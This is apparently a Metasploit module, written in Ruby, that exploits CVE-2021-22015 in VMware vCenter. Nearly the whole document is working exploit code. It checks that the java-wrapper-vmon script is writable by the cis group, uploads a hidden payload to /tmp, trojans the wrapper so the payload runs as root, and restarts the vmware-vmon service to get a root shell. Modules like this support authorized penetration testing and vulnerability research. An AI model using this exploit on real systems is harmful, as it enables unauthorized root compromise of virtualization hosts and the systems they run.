VMware vCenter vScalation Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vCenter vScalation Priv Esc',
        'Description' => %q{
          This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
          /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the
          cis group to write to the file, which will execute as root on vmware-vmon service
          restart or host reboot.

          This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
          The following versions should be vulnerable:
          vCenter 7.0 before U2c
          vCenter 6.7 before U3o
          vCenter 6.5 before U3q
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Yuval Lazar' # original PoC, analysis
        ],
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],
          [ 'CVE', '2021-22015' ],
          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]
        ],
        'DisclosureDate' => '2021-09-21',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 1800 # 30min
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_DOWN],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],
          'AKA' => ['vScalation']
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WritableDir'].to_s
  end

  def java_wrapper_vmon
    '/usr/lib/vmware-vmon/java-wrapper-vmon'
  end

  def check
    group_owner = cmd_exec("stat -c \"%G\" \"#{java_wrapper_vmon}\"")
    if writable?(java_wrapper_vmon) && group_owner == 'cis'
      return CheckCode::Appears("#{java_wrapper_vmon} is writable and owned by cis group")
    end

    CheckCode::Safe("#{java_wrapper_vmon} not owned by 'cis' group (owned by '#{group_owner}'), or not writable")
  end

  def exploit
    # Check if we're already root
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
    end

    # Make sure we can write our exploit and payload to the local system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # backup the original file
    @backup = read_file(java_wrapper_vmon)
    path = store_loot(
      'java-wrapper-vmon.text',
      'text/plain',
      rhost,
      @backup,
      'java-wrapper-vmon.text'
    )
    print_good("Original #{java_wrapper_vmon} backed up to #{path}")

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    print_status("Writing payload to #{payload_path}")
    upload_and_chmodx payload_path, generate_payload_exe
    register_files_for_cleanup payload_path

    # write trojaned file
    # we want to write our payload towards the top to ensure it gets run
    # writing it at the bottom of the file results in the payload not being run
    print_status("Writing trojaned #{java_wrapper_vmon}")
    write_file(java_wrapper_vmon, @backup.gsub('#!/bin/sh', "#!/bin/sh\n#{payload_path} &\n"))

    # try to restart the service
    print_status('Attempting to restart vmware-vmon service (systemctl restart vmware-vmon.service)')
    service_restart = cmd_exec('systemctl restart vmware-vmon.service')
    # one error i'm seeing when using vsphere-client is: Failed to restart vmware-vmon.service: The name org.freedesktop.PolicyKit1 was not provided by any .service files
    if service_restart.downcase.include?('access denied') || service_restart.downcase.include?('failed')
      print_bad('vmware-vmon service needs to be restarted, or host rebooted to obtain shell.')
    end
    print_status("Waiting #{datastore['WfsDelay']} seconds for shell")
  end

  def cleanup
    unless @backup.nil?
      print_status("Replacing trojaned #{java_wrapper_vmon} with original")
      write_file(java_wrapper_vmon, @backup)
    end
    super
  end
end

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